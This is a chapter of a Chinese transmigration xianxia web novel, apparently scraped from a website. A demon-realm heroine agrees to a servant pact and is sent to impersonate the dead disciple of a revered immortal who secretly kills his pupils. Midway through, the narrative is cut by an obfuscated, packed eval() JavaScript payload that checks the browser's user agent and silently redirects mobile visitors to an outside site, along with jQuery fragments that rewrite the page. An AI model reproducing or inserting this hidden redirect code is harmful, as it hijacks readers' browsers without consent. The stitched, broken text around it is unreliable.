“你知道什么。”曲朝歌将将燃起的怒火在见到宿随风低落的表情时又陡然熄灭。
他沉着声音,像是在开玩笑:“我把他送给你,你就这样急不可耐?”
尾音上扬,似乎蕴藏着什么别样的意味。
宿随风没有说话。
曲朝歌看着他,忽地笑了一声,极其短促,却在这静谧的室内尤为刺耳。
一个刚认识不久的人族,竟然能被他护在身后。
那自己呢?
曲朝歌舒展眉眼,明明是笑着,却没由来的给人一种他已然气疯的意味。
红色纱帐轻轻打在傅昭宁的肌肤上,宿随风闭上眼,嗓音冷冽:“你还有事吗?”
没事别在这站桩。
不知心里想了何许事也,青年理了理衣袖,锐利的目光扫遍宿随风全身。
“无事。”
曲朝歌留下这样一句话,拂袖而去。
殿外响起渐渐远去的脚步声。
心下感受到一阵刺痛,宿随风平复心情,转身,目光重新落在了床畔的傅昭宁脸上。方才那般摄人的美貌,不知为何,在她心中引起的激荡缓缓平复。
她抿了抿唇,挥手给房间下了一个隔音阵法。室外喧嚷的声音顿时消失,此刻只剩殿内二人清浅的呼吸声。
“方才的事,宿公子还要商谈吗?”
傅昭宁拢了拢衣袍,漂亮的肩颈线条被宽大的罩纱盖住,朦朦胧胧只留一丝令人遐想的空隙。
男子唇瓣嫣红,一开一合:“怎么了,宿公子还要与我春宵一度?”
“不了。”宿随风挑眉一笑,“你还是保重些身子,下次我定要将你扰得天翻地覆。”
殿内烛火荧荧,猩红色的红光打在二人身上,而落于墙面的光影斑驳摇晃,平添一分暧昧迷离之气。
“宿公子若是同意了,那便签订契约吧。”傅昭宁淡淡道。
还有什么契约可言。
宿随风满不在乎:“主仆契约足矣。”
这么爽快。
傅昭宁显得很意外:“我以为宿公子不会愿意屈居于人下。”
一阵罡风卷起,几乎是一息间便涌向了床沿处的傅昭宁。葱白的指尖扼住男人脆弱至极的脖颈,清脆而又带着些邪肆的声音落在傅昭宁耳畔:
“想死?”
宿随风扣在他的脖子上,生生拧住了傅昭宁呼吸的通道。
脆弱的人族方才还经历着春.药的磋磨,此刻又栽在了魔界中人的手下。
宿随风可以接受主仆契约,也可以接受为傅昭宁办事。
但屈居于人下一词,未免太过于软弱不堪。
她不喜欢这句话。
“我…咳咳…”傅昭宁的脸涨的通红,几滴泪水从眼角滑落,咕噜噜滚到了宿随风手边,烫得她蜷了蜷手指。
单薄的指尖皮肤下是蓬勃跳动的血管,隔着那层皮肤,宿随风仍旧能听见傅昭宁热烈涌动的心跳声。
这小子还在被春.药困着。
她觑着眼,缓缓收回手指,唇线绷直:“傅公子还是要好生管着这张嘴。”
她虽然不能杀了主角受,但她有的是办法折磨他。
长这么好看一张脸,如果是个哑巴多好。
尽说一些噪耳的话。
手收回的瞬间,傅昭宁脱力地倒在床侧。脸上翻飞的潮红混杂着因窒息而低落的眼泪,显得我见犹怜,全然不似先前那副要将宿随风吞吃入腹的样子。
他捂着喉咙,眼尾泛起的红意令他不像是一个久居高位的人族少爷,而像是魔窟里堕落至极的昌妓。
他直勾勾地盯着宿随风,唇角勾起一抹笑意。
刚才在他手下,他居然动弹不得。
这位宿公子的实力可真是……
傅昭宁点了点眼角,沾去些许咸腥的眼泪。
那抹窒息带给他的也不是恐惧,而是一种……说不清道不明的兴奋。
他好像,很期待宿随风对他上下其手。
“我们还是说回先前的话题吧。”傅昭宁盯着对方皓月般的手腕,随后敛下眼底的色彩。
他沉声:“我要你去仙界,成为折月仙尊的弟子。”
折月仙尊?
宿随风即使再不清楚仙界的情况,这位折月的名号她也不会不知。
传闻里,折月仙尊温和柔顺,虽仙法高超,却不曾有一丝仙尊的派头。
他体恤百姓,怜惜弟子,被仙界万人敬仰。
那句“人间疑有桂花落,秋月将凝折月仙”便是众人对他的美誉。
这样一般神仙人物,傅昭宁为何要她去成为他的弟子。
兴许是瞧见了宿随风脸上的神情,傅昭宁半仰着身子,意味深长道:“你不会也认为,那折月是个什么好人吧?”
不知道他葫芦里卖的什么药,宿随风没吭声,眼神示意他往下讲。
终于在这件事上找回了场子,傅昭宁轻咳一声,缓缓道:“那折月仙尊真是辱没了‘折月’这般好的名字。”
“此话怎讲。”
傅昭宁轻轻挑起落在床沿的薄纱,嗓音冷冽不似先前。
“你可知,他有一门功法,专门下给自己的弟子?”
宿随风真不知道这件事,“折月仙尊不是最关怀自己的弟子不过了。”
“不错,他确实‘关怀’自己的徒弟颇多,就连仙界出名那几人,都曾传言得到过折月的恩惠。”傅昭宁哑声,“但一位仙法高强的仙尊,又如何会病体衰枯,甚至隐隐有大限将至之色。”
宿随风抱臂,重新添了些灯油,“传闻折月仙尊为降伏祸临世间的大妖,耗尽仙力,胎元亏空,这才落下了病根。”
她继续道:“折月仙尊的弟子为师尊寻药,飞剑踏遍了天涯海角,还是未曾找到治愈折月的方法。”
傅昭宁饶有兴趣:“还有呢,你还知道什么?”
“人间遍地设了供养折月的仙祠,每至庆典佳节,或是折月在凡尘中的生辰,家家户户会为他点上长明灯,以祈求他寿元不尽,继续庇佑这天地一方。”
说完这段话,宿随风敏锐地发现傅昭宁的嘴角下落了几分,眼里似乎闪着些许不屑的光点。
不过这没有持续多久,正当宿随风还想探查时,傅昭宁却倏的闭上眼,嗓音里带着一丝困倦:“这谣言真是够了。”
小说里没有写有关折月的事情,就算写了也只是作为背景一笔带过。宿随风对于折月的认知尽数来源于身边人的话语。
魔界中人最喜谈起仙界,像是被魔界人视为眼中刺的折月仙尊自然是众人评谈论道的重中之重。
宿随风先前听说了折月的事迹,她还颇为惊讶这世间竟有如此光风霁月之人。
现在一看傅昭宁那厮的反应,恐怕折月一事,真真假假,不可全信。
“我同你直说吧。”傅昭宁脸上升起倦意,像是要将什么感情压下,“折月那些所谓为他寻药而死的徒弟,实则都死在了他的手下。”
“什么?”
傅昭宁的叙述还未停止:“他所患的病症,正是因为他平日肆意杀生,不顾因果,上天对他施下的惩处。”青年勾了勾指尖,示意宿随风凑近听。
少年人皱眉,不愿凑近,傅昭宁轻叹一声也随了他意,“可偏偏那折月不认为自己的病症是天道所施,到反而理解成为了劫数。”
劫数一词宿随风有听闻,她指尖缠着发丝,问道;“劫数,折月是把自己的因果债算成了劫?所以他虐杀弟子,是为了清除他臆想的劫数?”
“不错。”傅昭宁点头,“我让你去顶替的弟子,正是那被折月怀疑为情劫的对象。”
“他死了。”宿随风的语气平淡,很是肯定。傅昭宁见他如此模样,轻声道;“是死了,他被折月施下缚心术,一旦爱上了折月,便会心裂而亡。”
折月那般清霁的形象,只消稍微勾勾手指,向自己的弟子施点微不足道的好处,便能够让其成为自己听令狗。
说了这么多,折月在宿随风眼里的形象彻底崩坏。她揉了揉眉心,忽而问道:“那你是如何知道的?”
傅昭宁一滞,生硬地撇开眼,道:“你不用管。”
“哟,你有故事。”宿随风轻佻一笑,“我与你绑定了主仆契约,你还信不过我?”
青年不说话,半拢的上衣缓缓剥落,看得宿随风牙酸一阵。
主角受居然还有这种奇遇。
宿随风暗暗咋舌,看来曲朝歌追妻之路慢慢啊。
想到刚才拂袖而去的那人,宿随风的心绞痛一阵,片刻后又没了生息。
自己管主角攻的事干什么。反正这攻受二人是天造地设的一对,你情我愿,郎才郎貌,自己还是莫要插手为妙。
想清这一切,宿随风开口道:“那我何时前去仙界。”
傅昭宁沉吟一声:“就今日吧。”
今日,这么急促?
看出来宿随风想问什么,傅昭宁淡淡道:“那名弟子刚死不久,晚点去尸体都臭了。”
“仙界没有尸体保鲜技术?那里不是一个大冰箱吗?”宿随风好奇发问。
“何谓‘保鲜技术’和‘冰箱’?”
宿随风:“……”
算了,说了你也听不懂。
既然今天就要启程,那她也顾不得和曲朝歌道别。
看着傅昭宁潮红的面庞,宿随风好心问道:“你身上的药?”
“不碍事。”青年咳了一声,“我自有方法。”
“我若不在魔界,可能会引起一些不必要的骚动。”
傅昭宁还是那副样子,道;“我有办法。”
“还有曲朝歌……”
不等傅昭宁回话,宿随风抢先道:“我知道,你有办法。”
傅昭宁;“……”
这个好像真没有。
“行吧,我相信你。”宿随风拍拍他的肩膀,“你可是他的受啊。”
傅昭宁本想说出口的话,在看见宿随风信任的眼神后默默咽了回去。
他思索半天,问:“什么是受?”
宿随风敷衍:“不知道。”
傅昭宁:“……”
……
长风凛冽,浮云流转。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310409|198805||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>赤色的云霞散尽天边,像是火舌燎起了云雾。
八角阁楼上绘以鎏金龙凤,彩云蹁跹之间,偶有几点流光闪烁,恰如焰火驰骋空中。
面容清隽的男子端坐于亭台之间,轻轻恰着茶水。
“师尊!师尊我会御兽了!”
活泼的弟子驾着流光溢彩的凌云鹿,在云层间穿行而去。
男人冁颜一笑,轻声道:“不错。”
那弟子脸颊发红,又害羞地钻回云间,激动同师兄弟们道:“师尊夸我了,师尊夸我不错!”
身旁几人顿时露出艳羡的神色,一名女弟子撑着头,“我也想要师尊夸赞。”
一声落下,瞬间惊起许许多多声回应。
大家凑在一块,纷纷道;“努力练剑,说不定师尊就会夸我了!”
“我要努力炼丹!”
“怎么大家都斗志昂扬……不行我也要努力了,我也想被师尊夸。”
弟子们叽叽喳喳的声音自然躲不过清折月的耳朵,他勾起嘴角,杯盏在白玉桌上发出一声清脆的咔哒声。
只需一声简单的夸赞,便能让弟子争相艳羡,这可真是……
清折月浅笑不语。
这可真是有趣。
云层翻滚着,旭日的光芒逐渐铺满洁白的云朵,红光缓缓延伸,逼近清折月的脚尖。
他皱眉了一瞬,本想打道回府,神府中一丝几不可察的动静瞬间将他定在了原地。
他那名早已死去的弟子,命牌居然又有了响应。
果然,他就知道,果然是这样。
清折月拂了拂袖子,面上依旧是那副温婉的模样。
他就知道,这份劫是不可能这么轻巧的结束。
他的劫数…他的劫数。
还在后头。
“师尊,看我看我!”
弟子们纷纷上前和他展示自己修炼的成果。
清折月咳了几声,笑道:“慢慢来,我一个一个看。”
他的情劫。
……
宿随风还从未体验过这般奇妙的感觉。
她只觉一阵恍惚,身体便陡然一轻,再次睁眼时已然离开原地。
面前的设施简陋,所有者像是不怎么富裕的模样。不过动动脑子也知道,折月的弟子都耗尽家产为他们的师尊寻药,这个人也自然如此。
傅昭宁同她说明了这个人先前的经历,并把让那人的命牌维持住,她才得以前来。
收好这人的尸身,宿随风站直环视四周,一贫如洗的洞府里什么也没有。除了剑架与一张小小的桌子,桌面还摆着几支沾满墨水的笔。
宿随风拿起桌面的宣纸,那人的字迹并不好看,但宿随风还是能辨认出上面的内容。
居然是写给师尊的情书。
一边的焰火还在摇曳不停,看样子他是打算写完立马把这份情书烧干净。
只是折月的缚心术起效太快,他还没能完成这份情书,便命丧黄泉。
宿随风颇有兴致地坐下,拿起毛笔,半开玩笑地续写了下去。前面那人对折月的情愫有多隐晦,她就续写得有多明朗。
宿随风大笔一挥,在纸上写下:“折月仙尊我爱你。”几个大字,便施施然收回手。她满意地看着自己的大作,毫不犹豫地将其投入了火内。
火焰燃起一瞬,又马上变得微弱。
烧干净了吧?
宿随风沉默地看着烛火,松了口气。
按照傅昭宁所说,折月喜好虐待弟子,这名弟子刚刚成为折月门下的一员,还来不及有所动作,便被下了缚心术。
到头来也没有被折月虐待,这人还是怀抱着对折月的美好情感死去的。
宿随风倒还觉得他挺幸运。
想法刚刚落下,洞府门口便传来一声清朗的声音,那人的语气十分平静,却又满含期待,“张月落,你今早怎么没有和师兄弟们一同来我面前舞剑。”
宿随风身形一愣。
是折月。
无事不登三宝殿,他来这里做什么。
“我今日起晚了。”宿随风瞎掰道,“师尊莫要怪罪于我。”
清折月盯着眼前这人,那与张月落一般无二的普通样貌和怯懦神情,竟一时让他有些恍惚。
若不是他早就知道张月落死了,说不定还真会被这人唬住。
清折月温柔地笑笑,“为师虽然不怎么规范你们的日常起居,但贪恋床褥并不是一个合格修真者该有的心境。”
宿随风点头,“弟子知道。”
清折月微微一笑,“那这样,你既然来迟了早训,为师没有看见你这几日的修炼成果,不如现在就给为师展示一下,如何?”
宿随风沉默一瞬,直直对上清折月深不可测的眼眸。
平心而论,清折月长得确实不错。他身形似鹤,乌发如瀑,眉心点着一颗血红色的美人痣,谈笑间眼角微微抬起,倒像是小雀的尾鱼,平添几分勃勃生气。
宿随风轻叹一声,半是无奈地拿起剑架上的剑,道;“徒弟学艺不精,师尊见笑。”
清折月笑意更深。